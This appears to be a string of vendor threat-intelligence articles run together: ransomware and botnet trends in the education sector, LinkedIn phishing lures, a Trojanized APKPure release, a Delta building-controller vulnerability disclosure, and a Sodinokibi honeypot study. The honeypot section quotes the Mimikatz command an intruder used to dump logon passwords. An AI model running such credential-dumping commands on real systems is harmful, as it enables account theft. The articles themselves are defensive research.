APTs, due to their organizational structure, mission focus, and likely some level of nation-state support, often pose a more serious danger to enterprises than a lone hacker or hacker group ever could.
Over the long term, APTs are capable of cyber attacks that can rise to a strategic level, including widespread intellectual property theft, espionage, and attacks on national critical infrastructures.
The data contained in this report is gleaned from the FireEye Dynamic Threat Intelligence (DTI) cloud , and is based on attack metrics shared by FireEye customers around the world.
Its insight is derived from: 39,504 cyber security incidents 17,995 malware infections 4,192 APT incidents 22 million command and control (CnC) communications 159 APT-associated malware families CnC infrastructure in 206 countries and territories Based on our data, the U.S., South Korea, and Canada were the top APT targets in 2013; the U.S., Canada, and Germany were targeted by the highest number of unique malware families.
The ATR describes attacks on 20+ industry verticals.
Education, Finance, and High-Tech were the top overall targets, while Government, Services/Consulting, and High-Tech were targeted by the highest number of unique malware families.
In 2013, FireEye discovered eleven zero-day attacks.
In the first half of the year, Java was the most common target for zero-days; in the second half, FireEye observed a surge in Internet Explorer (IE) zero-days that were used in watering hole attacks, including against U.S. government websites.
Last year, FireEye analyzed five times more Web-based security alerts than email-based alerts – possibly stemming from an increased awareness of spear phishing as well as a more widespread use of social media.
In sum, the 2013 ATR offers strong evidence that malware infections occur within enterprises at an alarming rate, that attacker infrastructure is global in scope, and that advanced attackers continue to penetrate legacy defenses, such as firewalls and anti-virus (AV), with ease.
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FortiGuard Labs Threat Research Report Thanks to Paolo Di Prodi, Fred Gutierrez, and Val Saengphaibul, who helped contribute to this blog.
Affected platforms: All OS platforms Impacted parties: Education Sectors Impact: Potential ransomware infection, data exfiltration, system compromise in education sectors Severity level: High Several major ransomware incidents that impacted our daily lives occurred in 2021.
In early May, Colonial Pipeline, the largest refined petroleum pipeline in the United States, was infected by DarkSide ransomware .
The infection forced the company to shut down their pipeline as a precautionary measure while assessments were being made, leading to long lines of cars at gas stations along the East Coast.
Later that same month, the REvil ransomware attacked JBS, the world’s largest meat processor, and disrupted the company’s meat productions.
In July, REvil struck again, affecting customers of the managed services provider Kaseya.
Attackers exploited an authentication bypass vulnerability in the Kaseya VSA (Virtual System Administrator) software, allowing attackers to distribute a malicious payload to downstream customers through hosts managed by the software.
Because the prime goal of ransomware gangs is financial gain, the education sector was generally thought to be outside of bad guys’ targets.
However, a report from the Federal Bureau of Investigation (FBI)
has suggested otherwise.
The FBI released a Flash alert on March 16 th , warning the public of the PYSA ransomware increasingly targeting education institutions in the US and UK.
PYSA, also known as Mespinoza, is an abbreviation for “Protect Your System Amigo” and is thought to have a close kinship to the Vurten ransomware.
PYSA was first spotted in December 2019.
At that time, it added a “.locked” file extension to the files it encrypted, but it later switched to the more familiar “.pysa” file extension.
PYSA’s entry points are generally attributed to three methods: spam emails, intrusion to a Windows host with RDP exposed to the internet, and brute force attacks against a central management console as well as some Active Directory (AD) accounts.
Once infected, PYSA uses various tools, such as ProcDump, Mimikatz, and Advanced IP Scanner, to enable lateral movement and information reconnaissance.
PYSA is double-extortion ransomware, as it steals information from the compromised machine andencrypts
files, demanding money from the victim to decrypt their files and not release the stolen information to the public.
The Grief ransomware hit a school district in Mississippi in May 2021.
According to one public report, Grief’s leak site stated that ransomware software stole 10GB worth of data, including internal documents and personal information.
Another school district in Washington state and schools in Virginia was also reportedly attacked by Grief.
Grief ransomware, also known as GriefOrPay, is thought to be a rebrand of the DoppelPaymer ransomware.
DoppelPaymer has been around since at least July 2019 and is a member of the BitPaymer ransomware family.
While the reason behind rebranding from DoppelPaymer to Grief is not apparent, it happened after the Colonial Pipeline incident.
One theory is that the rebrand was to take law enforcement’s attention away from the group.
Ransomware gangs work like scam companies that change their names, logos, and registration after enough money is collected from the victims to divert unwanted attention from law enforcement.
While its intrusion tactics are not yet identified, likely the Grief attack indirectly relies on spam emails as the DoppelyPaymer payload is thought to be distributed via the Dridex botnet.
Another report suggests the presence of Cobalt Strike in some machines infected with Grief.
Grief is also double-extortion ransomware, demanding ransom payments in Monero cryptocurrency for file decryption and not releasing harvested data.
The Grief gang recently stepped their tactics up a notch.
Their new ransom message threatens to erase the decryption key necessary to recover encrypted files if the victim contacts law enforcement or a professional ransom negotiator.
This essentially makes Grief a wiper malware in addition to beingransomware.
According to one report , ransomware attacks affected nearly 1,800 schools in the US during 2020, impacting over 1.3 million students.
Ransoms during that time ranged from $10,000 to over $1 million per incident and cost educational institutions an additional $6.62 billion in downtime.
While attacking universities may not result in the large sums ofransom money that can be obtained by attacking large businesses, stolen information can be used for financial gain,as many university systems include valuable research data as well as contact information and emails for governmentagencies, defense industries, pharmaceutical labs, and other private companies that leverage university researchers.
We are aware that some Ransomware-as-a-Service providers have a rule that excludes their associates from targeting sectors deemed essential (gas, oil, hospitals, nuclear power plants, etc.
), as well as government sectors, military, and non-profit organizations, to which most education sectors belong.
However, this is not altruistic on their part.
They mostly want to avoid the hammer brought down by law enforcement, which has little tolerance when these sectors are targeted.
But there is no guarantee that affiliates will always abide by these rules.
And given the rate at which the education sector has recently been targeted, they are clearly not exempt from ransomware attacks.
FortiGuard Labs has identified at least 20 different ransomware infections targeting the education sector.
Most of these infections occurred in the United States, which outnumbered the other countries by a large margin.
The Pysa and Ryuk ransomware families were the most common, closely followed by Grief and Babuk ransomware.
Interestingly, many notable ransomware variants, such as REvil, Blackmatter, Lockbit, DarkSide, and Ragnar Locker, were not found to be targeting schools.
That may be partially explained by the policy mentioned above that some ransomware groups have imposed on affiliates, banning them from attacking specific sectors such as health and education.
Harvested Email Addresses Associated with Education Sectors FortiGuard Labs also analyzed lists pulled from a OSINT source for email addresses with “.edu”
in the domain name.
138,088 email addresses belonging to US educational institutions across all 50 States and territories were harvested between May and August 2021.
Harvested emails are often sold on the dark web and can be used for future attacks.
IPS Detection in Education Sectors IPS detection provides some interesting insights into malware prevalence.
While it does not identify all ransomware in the wild, it does capture which ransomware is triggering IPS systems.
The tables below show the top five IPS detections triggered between August 11 th and September 10 th , 2021, in the education sector in the US and worldwide.
This data compares IPS detection trends in the US with those in the rest of the world.
This unfiltered data indicates which cyberattacks targeted education sectors.
The following tables below indicate the top five IPS signatures triggered inside organizations within the education sector from August 11 th to September 10 th , 2021.
Note that the numbers were not filtered for unique machines, which means the actual impact could be lower.
But this data still provides intelligence about how many scans and exploit attempts were made during the last 30 days against the education sector.
In addition, these attacks do not necessarily mean that an attacker is targeting technology running inside an educational institution.
It is simply a record of the attacks identified and blocked by IPS systems deployed inside education sector networks.
NTP.Monlist.
Command.
DoS indicates an attempt against a Denial of Service vulnerability in the NTP service.
The signature is associated with CVE-2013-5211 .
Nmap.
Script.
Scanner indicates an attempted scan from an Nmap scripting engine scanner, which identifies what services the target system is running and performs further attacks based on its findings.
SolarWinds.
SUNBURST.Backdoor indicates that SUNBURST Backdoor C2 communication was detected in the network.
SunBurst is a backdoor program distributed through the compromised SolarWind’s Orion IT monitoring and management software update system in late 2020.
Port.
Scanning detects an attempted scan by a port scanner that identifies which ports or services are available on a targeted system.
Backdoor.
DoublePulsar indicates either the presence of DoublePulsar malware or a scanning attempt via the RDP protocol.
DoublePulsar is a backdoor trojan that was a part of the NSA leak by the Shadow Brokers group in March 2017 and was used in the WannaCry ransomware attack in May 2017.
Qualys.
Vulnerability.
Scanner detects an attempted scan by a Qualys Vulnerability Scanner.
An attacker may use the scanner to identify the targeted system's services and perform further attacks based on its findings.
Nmap.
Scirpt.
Scanner and Port.
Scanning Qualys.
Vulnerability.
Scanner appear to be regular offenders within the education sector.
We were surprised to find that Sunburst backdoor IPS signatures also accounted for a large percentage of overall activity in the US, but further investigation revealed that most IPS detections belonged to one educational organization in the United States.
However, when we investigated some of the most accessed URLs by the education sectors from August 11 th to September 10 th , 2021, Backdoor.
DouplePulsar made more sense as its URLs led to variants of the Glupteba malware at the time of our analysis.
Glupteba is a cross-platform trojan-type written in Golang and is primarily distributed through malicious advertisements that are injected into legitimate websites or advertising networks.
Our analysis  confirmed the Glupteba variants downloaded from the URLs include a module to launch an infamous EternalBlue exploit, which was developed by U.S. National Security Agency (NSA) and was leaked by the ShadowBrokers hacking group in 2017.
The exploit was subsequently used in notorious Wannacry and notPetya attacks.
.
The machines that contacted the  the malicious URLs may have downloaded and installed the Glupteba malware.
Glupteba then exploitedEternalBlue to distribute DoublePulsar, a backdoor  implant disclosed by ShadowBrokers that enables the execution of additional malicious code.
That scenario provides good explanation why the Backdoor.
DouplePulsar signature was triggered.
The detection was most observed in Brazil, South Africa, and India, which account for 70% of the total Backdoor.
DouplePulsar detections triggered.
Botnet and AV Detections in the Education Sector
Next, we compared Botnet activities observed in the US and worldwide to find trends.
They turned out to be almost in sync.
Unlike IPS triggers, which record blocked attacks, botnet detections indicate active botnet malware within a network.
The Mirai IoT botnet led both regions, followed by Gh0st Rat and Zeroaccess.
Together, they account for more than 50% of the botnet activities in the US and global education sectors.
As the malware source codes of those three botnets are readily available, the education sector is a potential target of both serious and novice botnet attackers.
The following graphs show the top five AV detection observed in the education sector in the US and worldwide, from August 11 th to September 10 th , 2021.
This data indicates which malware was blocked during that period.
Cryxos was to most common malware triggered in the US as well as worldwide.
This malicious JavaScript variant is typically associated with fake call support scams.
It shows a fake pop-up warning that the victim’s machine has serious issues.
The victim is further instructed to call support for a bogus fix as they risk losing sensitive data.
The scammers then ask for a payment, either through a credit card or via gift cards.
Other common attacks included: W32/Swizzor!B.tr is an old Windows malware that has been around for years.
The malware is designed to show unwanted ads on a targeted machine or download and execute remote files.
As a result, a device infected with Swizzor may show other behaviors (i.e., data exfiltration) that are known to be associated with the malware.
JS/Miner.
BP!tr is a malicious javascript that mines for cryptocurrency without the user’s knowledge.
A victim’s machine may experience slower performance and higher electricity usage.
W32/Agent.
DRI!tr.dldr is a type of trojan malware designed to download and execute remote files.
Just like Switzzor, a machine infected with this malware may exhibit malicious behaviors.
W32/RanumBot.
X!tr is a type of Trojan that opens a backdoor and awaits commands from its Command & Control server.
Its behavior is dependent on the remote commands it receives.
Conclusion - Education Sectors As with any other industry sector, educational institutions are not exempt from cyberattacks.
Backdoor infections lead to information leaks that may be vital to an institution's research effort or steal PII of students, parents, and faculty.
A publicized attack can lead to financial loss, brand damage, and loss of faith and reputation by its affiliates and partners.
Even worse, not only can ransomware be deployed against a vulnerable network, but access to a compromised network can also be sold on the black market to other ransomware gangs.
One of the most critical takeaways from nearly every research of this kind is that criminals overwhelmingly target known vulnerabilities with available patches.
This makes cyber hygiene a top priority.
Similarly, it reemphasizes the need to backup critical data.
If regular backups are not implemented or are not properly managed, it could cost the institutions hundreds of thousands of dollars to replace affected devices.
However, even when a victim has secured backups and an excellent recovery plan in place, attackers will still threaten to leak stolen data.
If the ransom is not paid, they release everything on the dark web.
Therefore, it is imperative to have a solid prevention and recovery plan against ransomware in place, including the encryption of all data at rest.
Similarly, botnets are an indirect threat to those organizations that become a part of the attacker’s infrastructure.
The attacker can exploit their bandwidth to launch DDoS attacks against other parties, move laterally to other institutions, or leverage the compute power for crypto mining or other illicit purposes.
This will eventually result in a loss of productivity and revenue for those victims.
We cannot emphasize more emphatically the following statement from a blog posted by Fortinet earlier this year, entitled, “ Threats Impacting Education Cybersecurity ”: “It’s common knowledge that the cost and effort associated with attack prevention tend to be significantly less than the cost associated with the fallout of a successful attack.
Therefore, in education cybersecurity and beyond, investing in comprehensive cybersecurity strategies not only protects sensitive data and infrastructure but can also help reduce costs down the line.”
Fortinet Protections and Recommendations FortiGuard Labs has the following AV coverage in place for the malware associated with this blog: FortiGuard Labs has the following AV coverage in place for malware associated with this blog: W32/Ransom.
REVIL!tr W32/Ransom_Revil.
R03BC0DHU20 W32/DarkSide.
B!tr.ransom W32/Darkside.
AO!tr.ransom ELF/Darkside.
A9B5!tr.ransom W32/Darkside.50B7!tr.ransom W32/Darkside.
B7D5!tr.ransom W32/Filecoder.
NYO!tr.ransom W32/Zudochka.
DLR!tr.ransom W32/DoppelPaymer.
BM!tr PossibleThreat.
PALLASNET.H W32/PossibleThreat W32/RanumBox.
X!tr W32/Agent.
BMGF!tr.dldr JS/Miner.
BP!tr W32/Swizzor.
B!tr JS/Cryxos.
DEB1!tr FortiGuard Labs has the following IPS coverage in place for the malware associated with this blog: Telerik.
Web.
UI.RadAsyncUpload.
Handling.
Arbitrary.
File.
Upload PHPUnit.
Eval-stdin.
PHP.Remote.
Code.
Execution Apache.
Struts.2.Jakarta.
Multipart.
Parser.
Code.
Execution ThinkPHP.Controller.
Parameter.
Remote.
Code.
Execution Dasan.
GPON.Remote.
Code.
Execution NTP.Monlist.
Command.
DoS Nmap.
Script.
Scanner SolarWinds.
SUNBURST.Backdoor Port.
Scanning Backdoor.
DoublePulsar Qualys.
Vulnerability.
Scanner Mirai.
Botnet XcodeGhost Andromeda.
Botnet Torpig.
Mebroot.
Botnet Zeroaccess.
Botnet Backdoor.
Cobalt.
Strike.
Beacon Kaseya.
VSA.Remote.
Code.
Execution Darkside.
Botnet The Fortinet fabric can offer end to end protection to educational institutions using the following technologies - FortiMail (blocking phishing attacks and malicious attachments), Web Filtering (blocking malicious URLs), FortiEDR (real-time and cloud-based protection), FortiSandbox (identifying and preventing unknown attacks), FortiToken (multi-factor authentication), and intent-based segmentation (preventing lateral movement).
Organizations are also strongly encouraged to conduct ongoing end-user training designed to educate and inform personnel about the latest phishing/spearphishing techniques and how to spot and respond to them.
This should include encouraging employees to never open attachments from someone they don't know and always treat emails from unrecognized/untrusted senders with caution.
Since it has been reported that many phishing and spearphishing attacks are being delivered as part of social engineering distribution mechanisms, end-users must also be made aware of the various types of attacks currently in use.
The FortiPhish cloud-based phishing simulation service uses real-world simulated phishing attacks and analysis to test user awareness and vigilance and help hone training efforts.
Regular training sessions on how to spot emails with malicious attachments or links combined with impromptu tests increase user awareness and helps prevent initial access into the network.
Zero Trust Network Access (ZTNA) addresses all types of attacks/threats:
Reduces Attack Surface—ZTNA only allows access to specifically requested applications rather than the network-level access provided by traditional VPN.
Ensures Endpoint Security Compliance—Checks to ensure the endpoint is compliant with your security policies (no critical vulnerabilities, has adequate security enabled, etc.)
and only grants access to compliant endpoints.
Verifies that users and devices accessing resources are “authorized.”
Identifies devices and users on a per-session basis and uses that information to make smarter decisions for application access (Should that device be allowed to access this application?
How about if the connection is from xyz geolocation?
What about after-hours?
).
Not all endpoints should have access to all resources because they are connected to the local network or are part of the domain.
Segmentation – reduces exposure in the event of compromise by preventing the lateral movement of malware.
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
Have you disabled annoying e-mail notifications from social networks?
We think that’s great!
We even periodically offer advice on how to cut down on digital noise .
But LinkedIn is a special case.
People really do expect messages from the social network for professionals — one could be from a prospective employer or business partner, after all.
But a message from LinkedIn might just as easily come from a scammer pretending to represent a legitimate company.
In this post, we’re taking apart some phishing e-mails masquerading as LinkedIn notifications.
“I am a bussinessman and am interested in doing business with you” On the face of it, this type of e-mail looks like a typical partnership proposal.
It includes the photo, position, and company name of the potential “partner,” and even a LinkedIn logo.
The message is too short, though, and one might expect the word “businessman” to be spelled correctly in a legitimate message.
You may also see that the message came from “LinkediinContact” — note the extra “i” — and the sender’s address has nothing to do with LinkedIn.
E-mail purportedly from LinkedIn proposing cooperation with an Arab businessman The link in the e-mail leads to a website that looks similar to the real LinkedIn login page.
Phishing LinkedIn login page
But the URL is far removed from LinkedIn’s, and the domain is the Turkish .tr
, not .com.
If the victim enters their credentials on this site, the account will soon be in the hands of the scammers.
“Please send me a qoute” A similar case is this message seemingly from an importer in Beijing, asking for a quote for the delivery of goods.
The notification looks convincing; the message footer includes links to view help and unsubscribe from notifications, a copyright notice, and even the actual postal address of LinkedIn’s China office.
Even the sender’s address looks like the real deal.
Nevertheless, we see some red flags.
E-mail purportedly from LinkedIn in which a Chinese buyer requests a quote.
The sender’s address looks clean, but that doesn’t mean everything’s in order
For example, an article is missing in front of the word “message” in the subject line.
The author may not speak fluent English, but the platform generates the subject of LinkedIn notifications automatically, so the subject can’t contain errors.
If you smell a rat and do a search for the company (UVLEID), you won’t find it because it doesn’t exist.
And most important, the links in the e-mail point to a suspicious address in which random words, numbers and letters have been added to the name of the social network.
The domain is again wrong, as well.
This time it’s .app, which app developers use.
The button points to a phishing site The “LinkedIn login page,” which the link opens, has issues: a blue square covering part of the last letter in the logo, and Linkedin instead of LinkedIn (under the username and password fields).
arefully check the URL of the site and the name of the social network “You appeared in 2 search this week”
Links in fake notifications don’t always open fake login pages — sometimes they can lead to more unexpected places.
For example, this message saying that the recipient’s profile has been viewed twice — common information for LinkedIn users to see — obviously uses bad English, but even if you miss that, a few other details should catch your attention: Unknown sender address and link to a site in a Brazilian domain With this kind of deception, if the victim misses the strange set of letters in the sender’s address or the Brazilian domain, they may well click the button and get to an unexpected site — in our case, a “how to become a millionaire” online survey.
After a few redirects, we ended up at a form asking for contact information, including phone numbers.
The scammers most likely use the collected numbers for phone fraud .
Online survey with redirect for further data harvesting How to tell if a message from a potential partner or employer is fake Cybercriminals use phishing to steal accounts, personal data, and money, but that is no reason to stop using LinkedIn or other services.
Instead, learn how to guard against phishing , and always keep these basic tips at the ready: Watch out for unexpected messages from well-known companies; Look for inconsistencies in the names and addresses of senders, as well as typos in links, the subject line, and the e-mail body; Check notifications using official apps or websites, and in the latter case, manually type in the address or open it from your bookmarks; Enter contact information, card numbers, or login credentials only after double-checking you are on the real site; Use a reliable security solution that warns you of danger and blocks phishing and fraudulent sites.
We always recommend downloading apps from official stores only , to reduce the likelihood of installing malware.
However, unofficial stores not only host malicious apps, but they might not be safe at all.
Following a recent investigation, we are sorry to report that APKPure, a popular alternative source of Android apps, was Trojanized and has been distributing other Trojans.
What is APKPure for?
The most official of all Android app stores is, of course, Google Play.
But it is available only on devices that use Google Mobile Services (GMS) and are firmly tied to Google’s infrastructure.
Some vendors avoid GMS libraries to stay independent, and because Android is an open operating system, they can.
For users, there are both advantages and disadvantages.
One prominent disadvantage is a loss of access to Google’s app store, where Android users can download the usual apps.
That’s where alternative stores come in, and APKPure is one of them.
Distinctively, it hosts only free or shareware apps.
Also, the owners stress that the apps in their store have all been scanned by Google and are completely safe; they say their apps are exactly the same as the ones on Google Play.
What happened with APKPure?
The apps in the store may have passed all tests, but the APKPure app hasn’t.
This incident smacks strongly of the CamScanner episode , in which the app’s developers implemented an advertisement SDK from an unverified source and it turned out to be malicious.
That’s also how malware got into APKPure.
Looks like APKPure version 3.17.18 was likewise fitted with an advertisement SDK, one with an embedded Trojan dropper , which Kaspersky solutions detect as HEUR:Trojan-Dropper.
AndroidOS.Triada.ap.
When launched, it unpacks and runs its payload , which is the dangerous part.
This component can do several things: show ads on the lock screen; open browser tabs; collect information about the device; and, most unpleasant of all, download other malware.
What can happen to a device with APKPure installed?
Which Trojan gets downloaded (in addition to APKPure’s built-in one) depends on the Android version, as well as on how regularly the smartphone vendor released — and the user installed — security updates.
If the user has a relatively recent version of the operating system, meaning Android 8 or higher, which doesn’t hand out root permissions willy-nilly, then it loads additional modules for the Triada Trojan .
These modules, among other things, can buy premium subscriptions and download other malware.
If the device is older, running Android 6 or 7, and without security updates installed (or in some cases not even released by the vendor), and thus more easily rootable, it could be the xHelper Trojan .
Removing this beast is a real challenge; even a factory reset won’t do it.
Armed with root access, xHelper lets attackers do almost anything they want on the device.
Is APKPure safe now?
On April 8, we informed APKPure about the issue.
On April 9, APKPure representatives replied that they saw the problem and were working on the fix.
Shortly after that, a new version (3.17.19) appeared on the APKPure website.
According to its description , the update “Fixed a potential security problem, making APKPure safer to use.”
We can confirm that the problem has indeed been fixed: APKPure 3.17.19 doesn’t contain the malicious component.
It is safe to use.
How to guard against Trojanized APKPure If you don’t use APKPure, then don’t worry — today’s problem does not concern you.
But to avoid similar issues in the future: Never download apps from unofficial sources, and block the installation of apps from third-party sources in Android’s settings; Use a reliable security solution that automatically scans all new files; Regularly update all apps and the operating system.
If you do use APKPure, we additionally recommend that you: Update the APKPure app to the version in which the issue is fixed (that is, 3.17.19 or newer); Run a full antivirus scan of the device.
By Mark Bereza on Aug 09, 2019 Management.
Control.
It seems that you can’t stick five people in a room together without one of them trying to order the others around.
This tendency towards centralized authority is not without reason, however – it is often more efficient to have one person, or thing, calling the shots.
For an example of the latter, one needs look no further than Delta’s enteliBUS Manager, or eBMGR.
Put simply, this device aims to centralize control for various pieces of hardware often found in corporate or industrial settings, whether it be temperature and humidity controls for a server room, a boiler and its corresponding alarms and sensors in a factory, or access control and lighting in a business.
The advantages seem obvious, too – it can be configured to adjust fan speeds according to thermostat readings or sound an alarm if pressure crosses a certain threshold, all with little human interaction.
The disadvantages, while less obvious, become clear when one considers tech-savvy malicious actors.
Suddenly, your potentially critical system now has a single point of failure, and one that is attached to a network, to make matters worse.
Consider for a moment a positive pressure room in a hospital, the kind typically used to keep out contaminants during surgeries.
Managing rooms such as these is a typical application for the eBMGR and it does not take an overactive imagination to envision what kind of damage a bad actor could cause if they disrupted such a sensitive environment.
Management.
Control.
That’s what’s at stake if a device such as this is not properly secured.
It’s also what made this device such a high priority for McAfee’s Advanced Threat Research team.
The decision to make network-connected critical systems such as these demands an extremely high standard of software security – finding where it might fall short is precisely our job.
With these stakes in mind, our team went to work.
We began by hooking up an eBMGR unit to a network with several other devices to simulate an environment somewhat true to life.
Using a technique known as “fuzzing”, we then blasted the device with all kinds of deliberately malformed network traffic, looking for a chink in the armor.
That is one advantage often afforded to the bad guys in software security; they can make many mistakes; manufacturers need only make one.
Perhaps unsurprisingly, persistence and creativity led us to discover one such mistake: a mismatch in the memory sizes used to handle incoming network data created what is often referred to as a buffer overflow vulnerability.
This seemingly innocuous mistake rendered the eBMGR vulnerable to our carefully crafted network attack, which allows a hacker on the same network to gain complete control of the device’s operating system.
Worse still, the attack uses what is known as broadcast traffic, meaning they can launch the attack without knowing the location of the targets on the network.
The result is a twisted version of Marco Polo – the hacker needs only shout “Marco!”
into the darkness and wait for the unsuspecting targets to shout “Polo!”
in response.
In this field, complete control of the operating system is typically the finish line.
But we weren’t content with just that.
After all, controlling the eBMGR on its own is not all that interesting; we wanted to see if we could use it to control all the devices it was connected to.
Unfortunately, we did not have the source code for the device’s software, so this new goal proved non-trivial.
We went back to the drawing board and acquired some additional hardware that the Delta device might realistically be charged with managing and had a certified technician program the device just as he would for a real-world client – in our case, as an HVAC controller.
Our strategy quickly became what is often referred to as a replay attack.
As an example, if we wanted to determine how to tell the device to flip a switch, we would first observe the device flipping the switch in the “normal” way and try to track down what code had to run for that to happen.
Next, we would try to recreate those conditions by running that code manually, thus replaying the previously observed event.
This strategy proved effective in granting us control over every category of device the eBMGR supports.
Moreover, this method remains agnostic to the specific hardware attached to the building manager.
Hypothetically, this sort of attack would work without any prior knowledge of the device’s configuration.
The result was an attack that would compromise any enteliBUS Manager on the same network and attach a custom piece of malware we developed to the software running on it.
This malware would then create a backdoor which would allow the attacker to remotely issue commands to the manager and control any hardware connected to it, whether it be something as benign as a light switch or as dangerous as a boiler.
To make matters worse, if the attacker knows the IP address of the device ahead of time, this exploit can be performed over the Internet, increasing its impact exponentially.
At the time of this writing, a Shodan scan revealed that over 1600 such devices are internet connected, meaning the danger is far from hypothetical.
For those craving the nitty-gritty technical details of how we went about accomplishing this, we also published what is arguably a novella here that delves into the vulnerability discovery and exploitation process from start to finish.
In keeping with our responsible disclosure program , we reached out to Delta Controls as soon as we confirmed that the initial vulnerability we discovered was exploitable.
Shortly thereafter, they provided us with a beta version of a patch meant to fix the vulnerability and we confirmed that it did just that – our attack no longer worked.
Furthermore, by using our understanding of how the attack is performed at a network level, we were able to add mitigation for this vulnerability to McAfee’s Network Security Platform (NSP) via NSP signature 0x45d43f00, helping our customers remain secure.
This is our idea of a success story – researchers and vendors coming together to improve security for end users and ultimately reduce the attack surface for the adversary.
If there’s any doubt they are interested in targets like these, a quick search will illuminate the myriad attempts to exploit industrial control systems as a top target of interest.
Before we leave you with “all’s well that ends well”, we want to stress that there is a lesson to be learned here: it doesn’t take much to make a critical system vulnerable.
Thus, it is important that companies extend proper security practices to all network-connected devices – not just PCs.
Such practices might include placing all internet-connected devices behind a firewall, monitoring traffic to these devices, segregating them from the rest of the network using VLANs, and staying on top of security updates.
For critical systems that cannot afford significant downtime, updates are often pulled instead of pushed, putting the onus on end users to keep these devices up to date.
Whatever the precise implementation may be, a good security policy often begins by adopting the principle of least privilege , or the idea that all access should be restricted by default unless there is a compelling reason for it.
For example, before approaching the challenge of keeping a device like the eBMGR secure on the internet, it’s important to first ask if having it connected to internet is necessary in the first place.
While companies and consumers should certainly take the proper steps to keep their networks secure, manufacturers must also take a proactive approach towards addressing vulnerabilities that impact their end users.
Delta Controls’ willingness to collaborate and timely response to our disclosure certainly seems like a step in the right direction.
Please refer to the following statement from Delta Controls which provides insight into the collaboration with McAfee and the power of responsible disclosure.
By Jessica Saavedra-Morales , Ryan Sherstobitoff and Christiaan Beek on Oct 20, 2019 Episode 4:
Crescendo This is the final installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019.
In this final episode of our series we will zoom in on the operations, techniques and tools used by different affiliate groups spreading Sodinokibi ransomware.
Since May we have observed several different modus operandi by different affiliates, for example: Distributing the ransomware using spear-phishing and weaponized documents Bat-files downloading payloads from Pastebin and inject them into a process on the operating system Compromising RDP and usage of script files and password cracking tools to distribute over the victim’s network Compromise of Managed Service Providers and usage of their distribution software to spread the ransomware To understand more about how this enemy operates, we in McAfee Advanced Threat Research (ATR) decided to operate a global network of honeypots.
We were aware of the lively underground trade market of RDP credentials and were curious about what someone would do with a compromised machine.
Would they distribute the Sodinokibi ransomware?
Would they execute the DejaBlue or BlueKeep exploits?
Our specially designed and built RDP honeypots would give us those insights.
Like Moths to a Flame From June until September 2019, we observed several groups compromise our honey pots and conduct activities related to Sodinokibi; we were able to fully monitor attackers and their actions without their knowledge.
It is important to note the golden rule we operated under: the moment criminal actions were prepared or about to be executed, the actor would be disconnected and the machine would be restored to its original settings with a new IP address.
We noticed some of our honeypot RDP servers were attacked by Persian-speaking actors that were actively harvesting credentials.
Our analysis of these attacks led us to various Persian underground channels offering the same tools we observed appearing in Sodinokibi intrusions.
Some of these tools are closed source and custom made, originating from within the channels in our analysis.
In this blog we will highlight a few of the intrusions we observed.
Group 1 – Unknown Affiliate ID McAfee ATR observed initial activity against our South American honey pot begin in late May 2019.
We had full visibility as the actor loaded a number of tools, including Sodinokibi, during the initial intrusion period.
The following ransom note (uax291-readme.txt) was dropped onto the system on June 10 th , 2019.
The actor utilized Masscan and NLBrute to scan and target other assets over RDP which fits with the behavior we have seen in all other Sodinokibi intrusions tracked by McAfee ATR.
The actor then created a user account ‘backup’ and proceeded to consistently connect from an IP address range in Belgrade, Serbia.
Group 2 – Affiliate ID 34 Campaign 295 (based on sub-ID in the malware configuration)
The following Sodinokibi variant appeared in our South American honey pot with the original file name of H.a.n.n.a.exe.
8d7d333574708c2fe5c37fad1bdfbc5a9664b33d (June 8 th , 2019) Extracting the configuration from the ransomware sample as we conducted during our affiliate research , the affiliate-id is nr 34.
Upon initial intrusion, the actor created several user accounts on the target system between June 10 th and June 11 th .
The malware Sodinokibi and credential-harvesting tool Mimikatz were executed under the user account “ibm” that the actor created as part of the entry into the system Further information revealed that the actor was connecting from two IP addresses in Poland and Finland via the ‘ibm’ account.
These logins originated from these countries in a 24hr period between July 10 th and 11 th with the following two unique machine names WIN-S5N2M6EGS5J and TS11.
Machine name WIN-S5N2M6EGS5J was observed to be used by another actor that created the account “asp” and originated from the same Polish IP address.
The actor deployed a variant of the Mimikatz credential harvester during the intrusion, with the following custom BAT file: We have seen a consistent usage of various custom files used to interact with hacking tools that are shared among the underground communities.
Another tool, known as Everything.exe, was also executed during the same period.
This tool was used to index the entire file system and what was on the target system.
This tool is not considered malicious and was developed by a legitimate company but can be used for profiling purposes.
The usage of reconnaissance tools to profile the machine is interesting as it indicates potential manual lateral movement attempts by the actor on the target system.
July 20 th to 30 th Intrusion Activity observed during this period utilized tools similar to those used in other intrusions we have observed in multiple regions, including those by Affiliate ID 34.
In this activity McAfee ATR identified NLBrute being executed again to target victims over RDP; a pattern we have seen over and over again in intrusions involving Sodinokibi.
A series of logins from Iran were observed between July 25 th and July 30 th , 2019.
We have also seen crypto currency mining apps deployed in most of the intrusions involving Sodinokibi, which may suggest some interesting side activity for these groups.
In this incident we discovered a miner gate configuration file with a Gmail address.
Using Open-Source Intelligence (OSINT) investigation techniques, we identified an individual that is most likely tied to the discovered Gmail address.
Based on our analysis, this individual is likely part of some Persian-speaking credential cracking crew harvesting RDP credentials and other types of data.
The individual is sharing information related to Masscan and Kport scan results for specific countries that can be used for brute force operations.
ACTOR PROFILE Further, we observed this actor on a Telegram channel discussing operations which align to the behavior we observed during intrusions on our honey pot.
The data shared appears to be results from tools such as Masscan or Kport-scan that would be used to compromise further assets.
DISCUSSION OF SCANNING IN FARSI, ON PRIVATE CHANNEL Other tools were found to have been executed the same day as the activity documented include: Mimikatz Was executed manually from the command line with the following parameters: mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords full” “exit” Slayer Leecher MinerGate Group 3 – Affiliate ID 19 We observed the following Sodinokibi ransom variants attributed to this affiliate appearing in the honey pot in the Middle East.
The attacker downloaded a file, ابزار کرک.zip, which can be mostly found in Farsi language private channels.
The tool is basically a VPS Checker (really an RDP cracker) as discussed on the channels in the underground.
Campaign 36 Activity from June 3 rd to 26 th indicates that the attacker present on the system was conducting operations involving the Sodinokibi ransomware.
When linking back activity, we observed one notable tool the actor had used during the operation.
